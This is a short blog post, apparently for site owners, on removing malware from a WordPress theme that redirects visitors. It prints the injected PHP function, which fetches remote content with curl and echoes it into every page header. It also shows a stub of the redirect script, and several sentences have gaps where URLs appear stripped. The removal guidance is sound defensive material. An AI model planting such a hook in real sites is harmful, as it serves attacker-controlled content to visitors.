Sometimes it happens that your wordpress site occasionally starts to redirect to magic Notice it’s not site.

It could happen because of installing some hacked premium plugins/themes for example like this one –

How does it work?

This malicious software that was installed to your website redirects all your users to by inserting javascript line into the top of your page. Something like this:

<script type="text/javascript"> = "";

How to fix it?

You need to open a functions.php file in your wordpress editor view.

Then find the following line of code

//Jquery Function
if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

and delete it. Don’t forget to press save button after that.

That’s it. We are done. Your website is fixed.

Try to avoid untrusted or hacked plugins/themes in a future. It can lead to even more harmful results.

Check out my previous post about attempts and doing things.